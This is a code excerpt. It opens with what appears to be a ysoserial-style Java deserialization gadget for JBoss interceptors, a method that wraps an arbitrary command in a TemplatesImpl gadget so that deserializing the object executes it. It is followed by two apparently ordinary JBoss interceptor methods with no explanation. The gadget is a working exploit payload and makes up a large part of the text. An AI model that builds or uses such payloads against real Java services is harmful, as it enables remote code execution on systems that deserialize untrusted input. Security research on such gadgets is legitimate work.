public Object getObject(final String command) throws Exception { final Object gadget = Gadgets.createTemplatesImpl(command); InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); Set<InterceptionType> s = new HashSet<InterceptionType>(); s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE); Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); defaultMethodMetadataConstructor.setAccessible(true); MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); List list = new ArrayList(); list.add(methodMetadata); Map<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>>(); hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); builder.interceptAll().with(simpleInterceptorMetadata); InterceptionModel model = builder.build(); HashMap map = new HashMap(); map.put("ysoserial", "ysoserial"); DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { public Object createFor(InterceptorReference paramInterceptorReference) { return gadget; } }; return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); }
@SuppressWarnings("unchecked") private void handlePostConstruct(ManagedBeanInstance<T> managedBeanInstance) throws Exception { List<InterceptorMetadata<?>> postConstructs = this.mbMetaData.getPostConstructs(); Collection<InterceptorInvocation<?>> interceptorInvocations = new ArrayList<InterceptorInvocation<?>>(postConstructs.size()); for (InterceptorMetadata<?> interceptor : postConstructs) { Object instance = null; if (interceptor.isTargetClass()) { instance = managedBeanInstance.getInstance(); } else { String interceptorClassName = interceptor.getInterceptorClass().getClassName(); instance = managedBeanInstance.getInterceptor(interceptorClassName); } // TODO: Interceptor invocation creation will be simplified in jboss-interceptors project. InterceptorInvocation<?> interceptorInvocation = new InterceptorInvocation(instance, interceptor, InterceptionType.POST_CONSTRUCT); interceptorInvocations.add(interceptorInvocation); } InterceptionChain interceptorChain = new SimpleInterceptionChain(interceptorInvocations, InterceptionType.POST_CONSTRUCT, managedBeanInstance.getInstance(), null); DefaultInvocationContextFactory invocationCtxFactory = new DefaultInvocationContextFactory(); InvocationContext invocationCtx = invocationCtxFactory.newInvocationContext(interceptorChain, managedBeanInstance.getInstance(), null, null); // invoke post-construct invocationCtx.proceed(); }
@SuppressWarnings("unchecked") @Override public Object invoke(ManagedBeanInstance<T> managedBeanInstance, Method method, Object[] args) throws Throwable { Collection<InterceptorMetadata<?>> aroundInvokeInterceptors = this.mbMetaData.getAroundInvokes(method); Collection<InterceptorInvocation<?>> interceptorInvocations = new ArrayList<InterceptorInvocation<?>>(aroundInvokeInterceptors.size()); for (InterceptorMetadata<?> aroundInvokeInterceptor : aroundInvokeInterceptors) { Object instance = null; if (aroundInvokeInterceptor.isTargetClass()) { instance = managedBeanInstance.getInstance(); } else { String interceptorClassName = aroundInvokeInterceptor.getInterceptorClass().getClassName(); instance = managedBeanInstance.getInterceptor(interceptorClassName); } // TODO: Interceptor invocation creation should be simplified in jboss-interceptors project. InterceptorInvocation<?> interceptorInvocation = new InterceptorInvocation(instance, aroundInvokeInterceptor, InterceptionType.AROUND_INVOKE); interceptorInvocations.add(interceptorInvocation); } InterceptionChain interceptorChain = new SimpleInterceptionChain(interceptorInvocations, InterceptionType.AROUND_INVOKE, managedBeanInstance.getInstance(), method); DefaultInvocationContextFactory invocationCtxFactory = new DefaultInvocationContextFactory(); InvocationContext invocationCtx = invocationCtxFactory.newInvocationContext(interceptorChain, managedBeanInstance.getInstance(), method, args); // invoke return invocationCtx.proceed(); }